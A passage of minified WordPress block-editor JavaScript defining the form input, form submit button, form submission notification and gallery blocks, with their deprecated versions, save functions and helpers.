t==="hidden"?(0,si.jsx)("input",{type:t,name:r,value:s}):(0,si.jsx)("div",{...f,children:(0,si.jsxs)("label",{className:w("wp-block-form-input__label",{"is-label-inline":n}),children:[(0,si.jsx)("span",{className:"wp-block-form-input__label-content",children:(0,si.jsx)(Gl.RichText.Content,{value:a})}),(0,si.jsx)(d,{className:p,type:t==="textarea"?void 0:t,name:r||_W(a),required:i,"aria-required":i,placeholder:l||void 0,style:m})]})})}},Tve={attributes:{type:{type:"string",default:"text"},name:{type:"string"},label:{type:"string",default:"Label",selector:".wp-block-form-input__label-content",source:"html",role:"content"},inlineLabel:{type:"boolean",default:!1},required:{type:"boolean",default:!1,selector:".wp-block-form-input__input",source:"attribute",attribute:"required"},placeholder:{type:"string",selector:".wp-block-form-input__input",source:"attribute",attribute:"placeholder",role:"content"},value:{type:"string",default:"",selector:"input",source:"attribute",attribute:"value"},visibilityPermissions:{type:"string",default:"all"}},supports:{className:!1,anchor:!0,reusable:!1,spacing:{margin:["top","bottom"]},__experimentalBorder:{radius:!0,__experimentalSkipSerialization:!0,__experimentalDefaultControls:{radius:!0}}},save({attributes:e}){let{type:t,name:r,label:a,inlineLabel:n,required:i,placeholder:l,value:s}=e,c=(0,Gl.__experimentalGetBorderClassesAndStyles)(e),u=(0,Gl.__experimentalGetColorClassesAndStyles)(e),m={...c.style,...u.style},p=w("wp-block-form-input__input",u.className,c.className),d=t==="textarea"?"textarea":"input";return t==="hidden"?(0,si.jsx)("input",{type:t,name:r,value:s}):(0,si.jsxs)("label",{className:w("wp-block-form-input__label",{"is-label-inline":n}),children:[(0,si.jsx)("span",{className:"wp-block-form-input__label-content",children:(0,si.jsx)(Gl.RichText.Content,{value:a})}),(0,si.jsx)(d,{className:p,type:t==="textarea"?void 0:t,name:r||_W(a),required:i,"aria-required":i,placeholder:l||void 0,style:m})]})}},Pve=[Sve,Tve],kW=Pve;var Pn=o(I(),1),Wl=o(T(),1),Ds=o(A(),1),wW=o(j(),1);var Gr=o(v(),1);function Bve({attributes:e,setAttributes:t,className:r}){let{type:a,name:n,label:i,inlineLabel:l,required:s,placeholder:c,value:u}=e,m=(0,Wl.useBlockProps)(),p=W(),d=(0,wW.useRef)(),f=a==="textarea"?"textarea":"input",h=(0,Wl.__experimentalUseBorderProps)(e),g=(0,Wl.__experimentalUseColorProps)(e);d.current&&d.current.focus();let b=a==="checkbox"||a==="radio",y=(0,Gr.jsxs)(Gr.Fragment,{children:[a!=="hidden"&&(0,Gr.jsx)(Wl.InspectorControls,{children:(0,Gr.jsxs)(Ds.__experimentalToolsPanel,{label:(0,Pn.__)("Settings"),resetAll:()=>{t({inlineLabel:!1,required:!1})},dropdownMenuProps:p,children:[a!=="checkbox"&&(0,Gr.jsx)(Ds.__experimentalToolsPanelItem,{label:(0,Pn.__)("Inline label"),hasValue:()=>!!l,onDeselect:()=>t({inlineLabel:!1}),isShownByDefault:!0,children:(0,Gr.jsx)(Ds.CheckboxControl,{label:(0,Pn.__)("Inline label"),checked:l,onChange:x=>{t({inlineLabel:x})}})}),(0,Gr.jsx)(Ds.__experimentalToolsPanelItem,{label:(0,Pn.__)("Required"),hasValue:()=>!!s,onDeselect:()=>t({required:!1}),isShownByDefault:!0,children:(0,Gr.jsx)(Ds.CheckboxControl,{label:(0,Pn.__)("Required"),checked:s,onChange:x=>{t({required:x})}})})]})}),(0,Gr.jsx)(Wl.InspectorControls,{group:"advanced",children:(0,Gr.jsx)(Ds.TextControl,{__next40pxDefaultSize:!0,autoComplete:"off",label:(0,Pn.__)("Name"),value:n,onChange:x=>{t({name:x})},help:(0,Pn.__)('Affects the "name" attribute of the input element, and is used as a name for the form submission results.')})})]}),_=(0,Gr.jsx)(Wl.RichText,{tagName:"span",className:"wp-block-form-input__label-content",value:i,onChange:x=>t({label:x}),"aria-label":i?(0,Pn.__)("Label"):(0,Pn.__)("Empty label"),"data-empty":!i,placeholder:(0,Pn.__)("Type the label for this input")});return a==="hidden"?(0,Gr.jsxs)(Gr.Fragment,{children:[y,(0,Gr.jsx)("input",{type:"hidden",className:w(r,"wp-block-form-input__input",g.className,h.className),"aria-label":(0,Pn.__)("Value"),value:u,onChange:x=>t({value:x.target.value})})]}):(0,Gr.jsxs)("div",{...m,children:[y,(0,Gr.jsxs)("span",{className:w("wp-block-form-input__label",{"is-label-inline":l||a==="checkbox"}),children:[!b&&_,(0,Gr.jsx)(f,{type:a==="textarea"?void 0:a,className:w(r,"wp-block-form-input__input",g.className,h.className),"aria-label":(0,Pn.__)("Optional placeholder text"),placeholder:c?void 0:(0,Pn.__)("Optional placeholder\u2026"),value:c,onChange:x=>t({placeholder:x.target.value}),"aria-required":s,style:{...h.style,...g.style}}),b&&_]})]})}var CW=Bve;var S5={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,__experimental:!0,name:"core/form-input",title:"Input Field",category:"common",ancestor:["core/form"],description:"The basic building block for forms.",keywords:["input","form"],textdomain:"default",attributes:{type:{type:"string",default:"text"},name:{type:"string"},label:{type:"rich-text",default:"Label",selector:".wp-block-form-input__label-content",source:"rich-text",role:"content"},inlineLabel:{type:"boolean",default:!1},required:{type:"boolean",default:!1,selector:".wp-block-form-input__input",source:"attribute",attribute:"required"},placeholder:{type:"string",selector:".wp-block-form-input__input",source:"attribute",attribute:"placeholder",role:"content"},value:{type:"string",default:"",selector:"input",source:"attribute",attribute:"value"},visibilityPermissions:{type:"string",default:"all"}},supports:{anchor:!0,reusable:!1,spacing:{margin:["top","bottom"]},__experimentalBorder:{radius:!0,__experimentalSkipSerialization:!0,__experimentalDefaultControls:{radius:!0}}},style:["wp-block-form-input"]};var SW=o(J1(),1),Hc=o(T(),1),TW=o(Ri(),1),Ls=o(v(),1),Eve=e=>(0,SW.default)((0,TW.__unstableStripHTML)(e)).replace(/[^\p{L}\p{N}]+/gu,"-").toLowerCase().replace(/(^-+)|(-+$)/g,"");function PW({attributes:e}){let{type:t,name:r,label:a,inlineLabel:n,required:i,placeholder:l,value:s}=e,c=(0,Hc.__experimentalGetBorderClassesAndStyles)(e),u=(0,Hc.__experimentalGetColorClassesAndStyles)(e),m={...c.style,...u.style},p=w("wp-block-form-input__input",u.className,c.className),d=t==="textarea"?"textarea":"input",f=Hc.useBlockProps.save(),h=t==="checkbox"||t==="radio";return t==="hidden"?(0,Ls.jsx)("input",{type:t,name:r,value:s}):(0,Ls.jsx)("div",{...f,children:(0,Ls.jsxs)("label",{className:w("wp-block-form-input__label",{"is-label-inline":n}),children:[!h&&(0,Ls.jsx)("span",{className:"wp-block-form-input__label-content",children:(0,Ls.jsx)(Hc.RichText.Content,{value:a})}),(0,Ls.jsx)(d,{className:p,type:t==="textarea"?void 0:t,name:r||Eve(a),required:i,"aria-required":i,placeholder:l||void 0,style:m}),h&&(0,Ls.jsx)("span",{className:"wp-block-form-input__label-content",children:(0,Ls.jsx)(Hc.RichText.Content,{value:a})})]})})}var Za=o(I(),1),Nve=[{name:"text",title:(0,Za.__)("Text Input"),description:(0,Za.__)("A generic text input."),attributes:{type:"text"},isDefault:!0,scope:["inserter","transform"],isActive:e=>!e?.type||e?.type==="text"},{name:"textarea",title:(0,Za.__)("Textarea Input"),description:(0,Za.__)("A textarea input to allow entering multiple lines of text."),attributes:{type:"textarea"},isDefault:!0,scope:["inserter","transform"],isActive:e=>e?.type==="textarea"},{name:"checkbox",title:(0,Za.__)("Checkbox Input"),description:(0,Za.__)("A simple checkbox input."),attributes:{type:"checkbox",inlineLabel:!0},isDefault:!0,scope:["inserter","transform"],isActive:e=>e?.type==="checkbox"},{name:"email",title:(0,Za.__)("Email Input"),description:(0,Za.__)("Used for email addresses."),attributes:{type:"email"},isDefault:!0,scope:["inserter","transform"],isActive:e=>e?.type==="email"},{name:"url",title:(0,Za.__)("URL Input"),description:(0,Za.__)("Used for URLs."),attributes:{type:"url"},isDefault:!0,scope:["inserter","transform"],isActive:e=>e?.type==="url"},{name:"tel",title:(0,Za.__)("Telephone Input"),description:(0,Za.__)("Used for phone numbers."),attributes:{type:"tel"},isDefault:!0,scope:["inserter","transform"],isActive:e=>e?.type==="tel"},{name:"number",title:(0,Za.__)("Number Input"),description:(0,Za.__)("A numeric input."),attributes:{type:"number"},isDefault:!0,scope:["inserter","transform"],isActive:e=>e?.type==="number"}],BW=Nve;var T5=o(L(),1),DE=o(v(),1),IW=(0,DE.jsx)(T5.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,DE.jsx)(T5.Path,{d:"M5.547 18.892A.99.99 0 0 0 6 19h.72v1H6a1.99 1.99 0 0 1-.908-.22l.455-.888ZM9.12 20H7.68v-1h1.44v1Zm2.4 0h-1.44v-1h1.44v1Zm2.4 0h-1.44v-1h1.44v1Zm2.4 0h-1.44v-1h1.44v1Zm2.587-.22c-.272.14-.58.22-.907.22h-.72v-1H18a.99.99 0 0 0 .453-.108l.454.888ZM5.108 17.547a.99.99 0 0 0 0 .906l-.89.454a1.99 1.99 0 0 1 0-1.815l.89.455Zm14.672-.455a1.99 1.99 0 0 1 0 1.815l-.888-.454a.99.99 0 0 0 0-.906l.888-.455ZM6.72 17H6a.99.99 0 0 0-.453.108l-.455-.89A1.99 1.99 0 0 1 6 16h.72v1ZM18 16c.327 0 .635.08.907.219l-.454.89A.99.99 0 0 0 18 17h-.72v-1H18Zm-8.88 1H7.68v-1h1.44v1Zm2.4 0h-1.44v-1h1.44v1Zm2.4 0h-1.44v-1h1.44v1Zm2.4 0h-1.44v-1h1.44v1ZM5.5 14.28H4.25v-1H5.5v1Zm2.5 0H6.5v-1H8v1Zm2.5 0H9v-1h1.5v1Zm2.25 0H11.5v-1h1.25v1ZM18 7a2 2 0 1 1 0 4H6a2 2 0 1 1 0-4h12ZM6 8.5a.5.5 0 0 0 0 1h12a.5.5 0 0 0 0-1H6Zm7-3H4V4h9v1.5Z"})});var{name:EW}=S5,NW={icon:IW,deprecated:kW,edit:CW,save:PW,variations:BW,example:{}},Dve=()=>N({name:EW,metadata:S5,settings:NW});var AE={};q(AE,{init:()=>Rve,metadata:()=>B5,name:()=>RW,settings:()=>zW});var DW=o(I(),1),P5=o(T(),1),LW=o(v(),1),Lve=[["core/buttons",{},[["core/button",{text:(0,DW.__)("Submit"),tagName:"button",type:"submit"}]]]],Mve=()=>{let e=(0,P5.useBlockProps)(),t=(0,P5.useInnerBlocksProps)(e,{template:Lve,templateLock:"all"});return(0,LW.jsx)("div",{className:"wp-block-form-submit-wrapper",...t})},MW=Mve;var B5={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,__experimental:!0,name:"core/form-submit-button",title:"Form Submit Button",category:"common",icon:"button",ancestor:["core/form"],allowedBlocks:["core/buttons","core/button"],description:"A submission button for forms.",keywords:["submit","button","form"],textdomain:"default",style:["wp-block-form-submit-button"]};var I5=o(T(),1),ME=o(v(),1);function AW(){let e=I5.useBlockProps.save();return(0,ME.jsx)("div",{className:"wp-block-form-submit-wrapper",...e,children:(0,ME.jsx)(I5.InnerBlocks.Content,{})})}var{name:RW}=B5,zW={edit:MW,save:AW,example:{}},Rve=()=>N({name:RW,metadata:B5,settings:zW});var RE={};q(RE,{init:()=>Hve,metadata:()=>N5,name:()=>GW,settings:()=>WW});var E5=o(I(),1),nm=o(T(),1),VW=o(z(),1);var FW=o(v(),1),zve=[["core/paragraph",{content:(0,E5.__)("Enter the message you wish displayed for form submission error/success, and select the type of the message (success/error) from the block's options.")}]],Vve=({attributes:e,clientId:t})=>{let{type:r}=e,a=(0,nm.useBlockProps)({className:w("wp-block-form-submission-notification",{[`form-notification-type-${r}`]:r})}),{hasInnerBlocks:n}=(0,VW.useSelect)(l=>{let{getBlock:s}=l(nm.store),c=s(t);return{hasInnerBlocks:!!(c&&c.innerBlocks.length)}},[t]),i=(0,nm.useInnerBlocksProps)(a,{template:zve,renderAppender:n?void 0:nm.InnerBlocks.ButtonBlockAppender});return(0,FW.jsx)("div",{...i,"data-message-success":(0,E5.__)("Submission success notification"),"data-message-error":(0,E5.__)("Submission error notification")})},OW=Vve;var N5={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,__experimental:!0,name:"core/form-submission-notification",title:"Form Submission Notification",category:"common",ancestor:["core/form"],description:"Provide a notification message after the form has been submitted.",keywords:["form","feedback","notification","message"],textdomain:"default",icon:"feedback",attributes:{type:{type:"string",default:"success"}}};var D5=o(T(),1);var HW=o(v(),1);function jW({attributes:e}){let{type:t}=e;return(0,HW.jsx)("div",{...D5.useInnerBlocksProps.save(D5.useBlockProps.save({className:w("wp-block-form-submission-notification",{[`form-notification-type-${t}`]:t})}))})}var qp=o(I(),1),Ove=[{name:"form-submission-success",title:(0,qp.__)("Form Submission Success"),description:(0,qp.__)("Success message for form submissions."),attributes:{type:"success"},isDefault:!0,innerBlocks:[["core/paragraph",{content:(0,qp.__)("Your form has been submitted successfully."),backgroundColor:"#00D084",textColor:"#000000",style:{elements:{link:{color:{text:"#000000"}}}}}]],scope:["inserter","transform"],isActive:e=>!e?.type||e?.type==="success"},{name:"form-submission-error",title:(0,qp.__)("Form Submission Error"),description:(0,qp.__)("Error/failure message for form submissions."),attributes:{type:"error"},isDefault:!1,innerBlocks:[["core/paragraph",{content:(0,qp.__)("There was an error submitting your form."),backgroundColor:"#CF2E2E",textColor:"#FFFFFF",style:{elements:{link:{color:{text:"#FFFFFF"}}}}}]],scope:["inserter","transform"],isActive:e=>!e?.type||e?.type==="error"}],UW=Ove;var{name:GW}=N5,WW={icon:dp,edit:OW,save:jW,variations:UW,example:{}},Hve=()=>N({name:GW,metadata:N5,settings:WW});var qE={};q(qE,{init:()=>sbe,metadata:()=>M5,name:()=>C$,settings:()=>S$});var Br=o(T(),1),ZW=o(U(),1);var Ms="none",As="media",ev="lightbox",Rs="attachment",$W="file",qW="post",tv="large";var Fe=o(v(),1),KW="file",QW="post";function oh(e){return Math.min(3,e?.images?.length)}function jve(e,t){switch(t){case KW:return{href:e?.source_url||e?.url,linkDestination:As};case QW:return{href:e?.link,linkDestination:Rs};case As:return{href:e?.source_url||e?.url,linkDestination:As};case Rs:return{href:e?.link,linkDestination:Rs};case Ms:return{href:void 0,linkDestination:Ms}}return{}}function ah(e){let t=e.linkTo?e.linkTo:"none";t==="post"?t="attachment":t==="file"&&(t="media");let r=e.images.map(l=>Uve(l,e.sizeSlug,t)),{images:a,ids:n,...i}=e;return[{...i,linkTo:t,allowResize:!1},r]}function Uve(e,t,r){return(0,ZW.createBlock)("core/image",{...e.id&&{id:parseInt(e.id)},url:e.url,alt:e.alt,caption:e.caption,sizeSlug:t,...jve(e,r)})}var Gve={attributes:{images:{type:"array",default:[],source:"query",selector:".blocks-gallery-item",query:{url:{type:"string",source:"attribute",selector:"img",attribute:"src"},fullUrl:{type:"string",source:"attribute",selector:"img",attribute:"data-full-url"},link:{type:"string",source:"attribute",selector:"img",attribute:"data-link"},alt:{type:"string",source:"attribute",selector:"img",attribute:"alt",default:""},id:{type:"string",source:"attribute",selector:"img",attribute:"data-id"},caption:{type:"string",source:"html",selector:".blocks-gallery-item__caption"}}},ids:{type:"array",items:{type:"number"},default:[]},shortCodeTransforms:{type:"array",default:[],items:{type:"object"}},columns:{type:"number",minimum:1,maximum:8},caption:{type:"string",source:"html",selector:".blocks-gallery-caption"},imageCrop:{type:"boolean",default:!0},fixedHeight:{type:"boolean",default:!0},linkTarget:{type:"string"},linkTo:{type:"string"},sizeSlug:{type:"string",default:"large"},allowResize:{type:"boolean",default:!1}},save({attributes:e}){let{caption:t,columns:r,imageCrop:a}=e,n=w("has-nested-images",{[`columns-${r}`]:r!==void 0,"columns-default":r===void 0,"is-cropped":a}),i=Br.useBlockProps.save({className:n}),l=Br.useInnerBlocksProps.save(i);return(0,Fe.jsxs)("figure",{...l,children:[l.children,!Br.RichText.isEmpty(t)&&(0,Fe.jsx)(Br.RichText.Content,{tagName:"figcaption",className:"blocks-gallery-caption",value:t})]})}},Wve={attributes:{images:{type:"array",default:[],source:"query",selector:".blocks-gallery-item",query:{url:{type:"string",source:"attribute",selector:"img",attribute:"src"},fullUrl:{type:"string",source:"attribute",selector:"img",attribute:"data-full-url"},link:{type:"string",source:"attribute",selector:"img",attribute:"data-link"},alt:{type:"string",source:"attribute",selector:"img",attribute:"alt",default:""},id:{type:"string",source:"attribute",selector:"img",attribute:"data-id"},caption:{type:"string",source:"html",selector:".blocks-gallery-item__caption"}}},ids:{type:"array",items:{type:"number"},default:[]},columns:{type:"number",minimum:1,maximum:8},caption:{type:"string",source:"html",selector:".blocks-gallery-caption"},imageCrop:{type:"boolean",default:!0},fixedHeight:{type:"boolean",default:!0},linkTo:{type:"string"},sizeSlug:{type:"string",default:"large"}},supports:{anchor:!0,align:!0},save({attributes:e}){let{images:t,columns:r=oh(e),imageCrop:a,caption:n,linkTo:i}=e,l=`columns-${r} ${a?"is-cropped":""}`;return(0,Fe.jsxs)("figure",{...Br.useBlockProps.save({className:l}),children:[(0,Fe.jsx)("ul",{className:"blocks-gallery-grid",children:t.map(s=>{let c;switch(i){case KW:c=s.fullUrl||s.url;break;case QW:c=s.link;break}let u=(0,Fe.jsx)("img",{src:s.url,alt:s.alt,"data-id":s.id,"data-full-url":s.fullUrl,"data-link":s.link,className:s.id?`wp-image-${s.id}`:null});return(0,Fe.jsx)("li",{className:"blocks-gallery-item",children:(0,Fe.jsxs)("figure",{children:[c?(0,Fe.jsx)("a",{href:c,children:u}):u,!Br.RichText.isEmpty(s.caption)&&(0,Fe.jsx)(Br.RichText.Content,{tagName:"figcaption",className:"blocks-gallery-item__caption",value:s.caption})]})},s.id||s.url)})}),!Br.RichText.isEmpty(n)&&(0,Fe.jsx)(Br.RichText.Content,{tagName:"figcaption",className:"blocks-gallery-caption",value:n})]})},migrate(e){return ah(e)}},$ve={attributes:{images:{type:"array",default:[],source:"query",selector:".blocks-gallery-item",query:{url:{type:"string",source:"attribute",selector:"img",attribute:"src"},fullUrl:{type:"string",source:"attribute",selector:"img",attribute:"data-full-url"},link:{type:"string",source:"attribute",selector:"img",attribute:"data-link"},alt:{type:"string",source:"attribute",selector:"img",attribute:"alt",default:""},id:{type:"string",source:"attribute",selector:"img",attribute:"data-id"},caption:{type:"string",source:"html",selector:".blocks-gallery-item__caption"}}},ids:{type:"array",items:{type:"number"},default:[]},columns:{type:"number",minimum:1,maximum:8},caption:{type:"string",source:"html",selector:".blocks-gallery-caption"},imageCrop:{type:"boolean",default:!0},linkTo:{type:"string",default:"none"},sizeSlug:{type:"string",default:"large"}},supports:{align:!0},isEligible({linkTo:e}){return!e||e==="attachment"||e==="media"},migrate(e){return ah(e)},save({attributes:e}){let{images:t,columns:r=oh(e),imageCrop:a,caption:n,linkTo:i}=e;return(0,Fe.jsxs)("figure",{className:`columns-${r} ${a?"is-cropped":""}`,children:[(0,Fe.jsx)("ul",{className:"blocks-gallery-grid",children:t.map(l=>{let s;switch(i){case"media":s=l.fullUrl||l.url;break;case"attachment":s=l.link;break}let c=(0,Fe.jsx)("img",{src:l.url,alt:l.alt,"data-id":l.id,"data-full-url":l.fullUrl,"data-link":l.link,className:l.id?`wp-image-${l.id}`:null});return(0,Fe.jsx)("li",{className:"blocks-gallery-item",children:(0,Fe.jsxs)("figure",{children:[s?(0,Fe.jsx)("a",{href:s,children:c}):c,!Br.RichText.isEmpty(l.caption)&&(0,Fe.jsx)(Br.RichText.Content,{tagName:"figcaption",className:"blocks-gallery-item__caption",value:l.caption})]})},l.id||l.url)})}),!Br.RichText.isEmpty(n)&&(0,Fe.jsx)(Br.RichText.Content,{tagName:"figcaption",className:"blocks-gallery-caption",value:n})]})}},qve={attributes:{images:{type:"array",default:[],source:"query",selector:".blocks-gallery-item",query:{url:{source:"attribute",selector:"img",attribute:"src"},fullUrl:{source:"attribute",selector:"img",attribute:"data-full-url"},link:{source:"attribute",selector:"img",attribute:"data-link"},alt:{source:"attribute",selector:"img",attribute:"alt",default:""},id:{source:"attribute",selector:"img",attribute:"data-id"},caption:{type:"string",source:"html",selector:".blocks-gallery-item__caption"}}},ids:{type:"array",default:[]},columns:{type:"number"},caption:{type:"string",source:"html",selector:".blocks-gallery-caption"},imageCrop:{type:"boolean",default:!0},linkTo:{type:"string",default:"none"}},supports:{align:!0},isEligible({ids:e}){return e&&e.some(t=>typeof t=="string")},migrate(e){return ah(e)},save({attributes:e}){let{images:t,columns:r=oh(e),imageCrop:a,caption:n,linkTo:i}=e;return(0,Fe.jsxs)("figure",{className:`columns-${r} ${a?"is-cropped":""}`,children:[(0,Fe.jsx)("ul",{className:"blocks-gallery-grid",children:t.map(l=>{let s;switch(i){case"media":s=l.fullUrl||l.url;break;case"attachment":s=l.link;break}let c=(0,Fe.jsx)("img",{src:l.url,alt:l.alt,"data-id":l.id,"data-full-url":l.fullUrl,"data-link":l.link,className:l.id?`wp-image-${l.id}`:null});return(0,Fe.jsx)("li",{className:"blocks-gallery-item",children:(0,Fe.jsxs)("figure",{children:[s?(0,Fe.jsx)("a",{href:s,children:c}):c,!Br.RichText.isEmpty(l.caption)&&(0,Fe.jsx)(Br.RichText.Content,{tagName:"figcaption",className:"blocks-gallery-item__caption",value:l.caption})]})},l.id||l.url)})}),!Br.RichText.isEmpty(n)&&(0,Fe.jsx)(Br.RichText.Content,{tagName:"figcaption",className:"blocks-gallery-caption",value:n})]})}},Zve={attributes:{images:{type:"array",default:[],source:"query",selector:"ul.wp-block-gallery .blocks-gallery-item",query:{url:{source:"attribute",selector:"img",attribute:"src"},fullUrl:{source:"attribute",selector:"img",attribute:"data-full-url"},alt:{source:"attribute",selector:"img",attribute:"alt",default:""},id:{source:"attribute",selector:"img",attribute:"data-id"},link:{source:"attribute",selector:"img",attribute:"data-link"},caption:{type:"string",source:"html",selector:"figcaption"}}},ids:{type:"array",default:[]},columns:{type:"number"},imageCrop:{type:"boolean",default:!0},linkTo:{type:"string",default:"none"}},supports:{align:!0},save({attributes:e}){let{images:t,columns:r=oh(e),imageCrop:a,linkTo:n}=e;return(0,Fe.jsx)("ul",{className:`columns-${r} ${a?"is-cropped":""}`,children:t.map(i=>{let l;switch(n){case"media":l=i.fullUrl||i.url;break;case"attachment":l=i.link;break}let s=(0,Fe.jsx)("img",{src:i.url,alt:i.alt,"data-id":i.id,"data-full-url":i.fullUrl,"data-link":i.link,className:i.id?`wp-image-${i.id}`:null});return(0,Fe.jsx)("li",{className:"blocks-gallery-item",children:(0,Fe.jsxs)("figure",{children:[l?(0,Fe.jsx)("a",{href:l,children:s}):s,i.caption&&i.caption.length>0&&(0,Fe.jsx)(Br.RichText.Content,{tagName:"figcaption",value:i.caption})]})},i.id||i.url)})})},migrate(e){return ah(e)}},Kve={attributes:{images:{type:"array",default:[],source:"query",selector:"ul.wp-block-gallery .blocks-gallery-item",query:{url:{source:"attribute",selector:"img",attribute:"src"},alt:{source:"attribute",selector:"img",attribute:"alt",default:""},id:{source:"attribute",selector:"img",attribute:"data-id"},link:{source:"attribute",selector:"img",attribute:"data-link"},caption:{type:"string",source:"html",selector:"figcaption"}}},columns:{type:"number"},imageCrop:{type:"boolean",default:!0},linkTo:{type:"string",default:"none"}},isEligible({images:e,ids:t}){return e&&e.length>0&&(!t&&e||t&&e&&t.length!==e.length||e.some((r,a)=>!r&&t[a]!==null?!0:parseInt(r,10)!==t[a]))},migrate(e){return ah(e)},supports:{align:!0},save({attributes:e}){let{images:t,columns:r=oh(e),imageCrop:a,linkTo:n}=e;return(0,Fe.jsx)("ul",{className:`columns-${r} ${a?"is-cropped":""}`,children:t.map(i=>{let l;switch(n){case"media":l=i.url;break;case"attachment":l=i.link;break}let s=(0,Fe.jsx)("img",{src:i.url,alt:i.alt,"data-id":i.id,"data-link":i.link,className:i.id?`wp-image-${i.id}`:null});return(0,Fe.jsx)("li",{className:"blocks-gallery-item",children:(0,Fe.jsxs)("figure",{children:[l?(0,Fe.jsx)("a",{href:l,children:s}):s,i.caption&&i.caption.length>0&&(0,Fe.jsx)(Br.RichText.Content,{tagName:"figcaption",value:i.caption})]})},i.id||i.url)})})}},Qve={attributes:{images:{type:"array",default:[],source:"query",selector:"div.wp-block-gallery figure.blocks-gallery-image img",query:{url:{source:"attribute",attribute:"src"},alt:{source:"attribute",attribute:"alt",default:""},id:{source:"attribute",attribute:"data-id"}}},columns:{type:"number"},imageCrop:{type:"boolean",default:!0},linkTo:{type:"string",default:"none"},align:{type:"string",default:"none"}},supports:{align:!0},save({attributes:e}){let{images:t,columns:r=oh(e),align:a,imageCrop:n,linkTo:i}=e,l=w(`columns-${r}`,{alignnone:a==="none","is-cropped":n});return(0,Fe.jsx)("div",{className:l,children:t.map(s=>{let c;switch(i){case"media":c=s.url;break;case"attachment":c=s.link;break}let u=(0,Fe.jsx)("img",{src:s.url,alt:s.alt,"data-id":s.id});return(0,Fe.jsx)("figure",{className:"blocks-gallery-image",children:c?(0,Fe.jsx)("a",{href:c,children:u}):u},s.id||s.url)})})},migrate(e){return ah(e)}},YW=[Gve,Wve,$ve,qve,Zve,Kve,Qve];var Ye=o(A(),1),So=o(T(),1),Qo=o(j(),1),ge=o(I(),1),nv=o(z(),1),v$=o(L(),1),b$=o(U(),1),WE=o(Tr(),1),y$=o(yr(),1);var XW=o(T(),1);var JW=o(v(),1),e$=(0,JW.jsx)(XW.BlockIcon,{icon:F0});function zE(e){return e?Math.min(3,e):3}var t$=(e,t="large")=>{let r=Object.fromEntries(Object.entries(e??{}).filter(([n])=>["alt","id","link"].includes(n)));r.url=e?.sizes?.[t]?.url||e?.media_details?.sizes?.[t]?.source_url||e?.url||e?.source_url;let a=e?.sizes?.full?.url||e?.media_details?.sizes?.full?.source_url;return a&&(r.fullUrl=a),r};var zs=20,Zp="none",nh="media",ih="attachment",VE="custom",r$=["noreferrer","noopener"],jc=["image"];var FE=["flex","grid"],rv="full";function OE(e,t,r,a,n){switch(r||t){case $W:case As:return{href:e?.source_url||e?.url,linkDestination:nh,lightbox:n?.enabled?{...a?.lightbox,enabled:!1}:void 0};case qW:case Rs:return{href:e?.link,linkDestination:ih,lightbox:n?.enabled?{...a?.lightbox,enabled:!1}:void 0};case ev:return{href:void 0,lightbox:n?.enabled?void 0:{...a?.lightbox,enabled:!0},linkDestination:Zp};case Ms:return{href:void 0,linkDestination:Zp,lightbox:void 0}}return{}}function o$(e){let[t,r=1]=e.split("/").map(Number),a=t/r;return a===1/0||a===0?NaN:a}function Yve(e){let t=e;return e!==void 0&&t&&(r$.forEach(r=>{let a=new RegExp("\\b"+r+"\\b","gi");t=t.replace(a,"")}),t!==e&&(t=t.trim()),t||(t=void 0)),t}function HE(e,{rel:t}){let r=e?"_blank":void 0,a;return!r&&!t?a=void 0:a=Yve(t),{linkTarget:r,rel:a}}function a$(e,t){let r=e?.media_details?.sizes?.[t]?.source_url;return r?{url:r,width:void 0,height:void 0,sizeSlug:t}:{}}function jE(e){return jc.some(t=>e.type.indexOf(t)===0)}function ov({x:e,y:t}={x:.5,y:.5}){return`${Math.round(e*100)}% ${Math.round(t*100)}%`}var UE=o(I(),1),n$=o(L(),1);var av=o(v(),1);function i$(e){let{attributes:t,isSelected:r,setAttributes:a,mediaPlaceholder:n,insertBlocksAfter:i,blockProps:l,__unstableLayoutClassNames:s,isContentLocked:c,multiGallerySelection:u}=e,{align:m,columns:p,imageCrop:d}=t;return(0,av.jsxs)("figure",{...l,className:w(l.className,s,"blocks-gallery-grid",{[`align${m}`]:m,[`columns-${p}`]:p!==void 0,"columns-default":p===void 0,"is-cropped":d}),children:[l.children,r&&!l.children&&(0,av.jsx)(n$.View,{className:"blocks-gallery-media-placeholder-wrapper",children:n}),(0,av.jsx)(ha,{attributes:t,setAttributes:a,isSelected:r,insertBlocksAfter:i,showToolbarButton:!u&&!c,className:"blocks-gallery-caption",label:(0,UE.__)("Gallery caption text"),placeholder:(0,UE.__)("Add gallery caption")})]})}var l$=o(j(),1);function s$(e,t,r){return(0,l$.useMemo)(()=>a(),[e,t]);function a(){if(!e||e.length===0)return;let{imageSizes:n}=r(),i={};t&&(i=e.reduce((s,c)=>{if(!c.id)return s;let u=n.reduce((m,p)=>{let d=c.sizes?.[p.slug]?.url,f=c.media_details?.sizes?.[p.slug]?.source_url;return{...m,[p.slug]:d||f}},{});return{...s,[parseInt(c.id,10)]:u}},{}));let l=Object.values(i);return n.filter(({slug:s})=>l.some(c=>c[s])).map(({name:s,slug:c})=>({value:c,label:s}))}}var L5=o(j(),1);function c$(e,t){let[r,a]=(0,L5.useState)([]);return(0,L5.useMemo)(()=>n(),[e,t]);function n(){let i=!1,l=r.filter(c=>e.find(u=>c.clientId===u.clientId));l.length<r.length&&(i=!0),e.forEach(c=>{c.fromSavedContent&&!l.find(u=>u.id===c.id)&&(i=!0,l.push(c))});let s=e.filter(c=>!l.find(u=>c.clientId&&u.clientId===c.clientId)&&t?.find(u=>u.id===c.id)&&!c.fromSavedContent);return(i||s?.length>0)&&a([...l,...s]),s.length>0?s:null}}var m$=o(z(),1),p$=o(Y(),1),u$=[];function d$(e){return(0,m$.useSelect)(t=>{let r=e.map(a=>a.attributes.id).filter(a=>a!==void 0);return r.length===0?u$:t(p$.store).getEntityRecords("postType","attachment",{include:r.join(","),per_page:-1,orderby:"include"})??u$},[e])}var Kp=o(T(),1);function f$({blockGap:e,clientId:t}){let r="var( --wp--style--gallery-gap-default, var( --gallery-block--gutter-size, var( --wp--style--block-gap, 0.5em ) ) )",a=r,n=r,i;e&&(i=typeof e=="string"?(0,Kp.__experimentalGetGapCSSValue)(e):(0,Kp.__experimentalGetGapCSSValue)(e?.top)||r,n=typeof e=="string"?(0,Kp.__experimentalGetGapCSSValue)(e):(0,Kp.__experimentalGetGapCSSValue)(e?.left)||r,a=i===n?i:`${i} 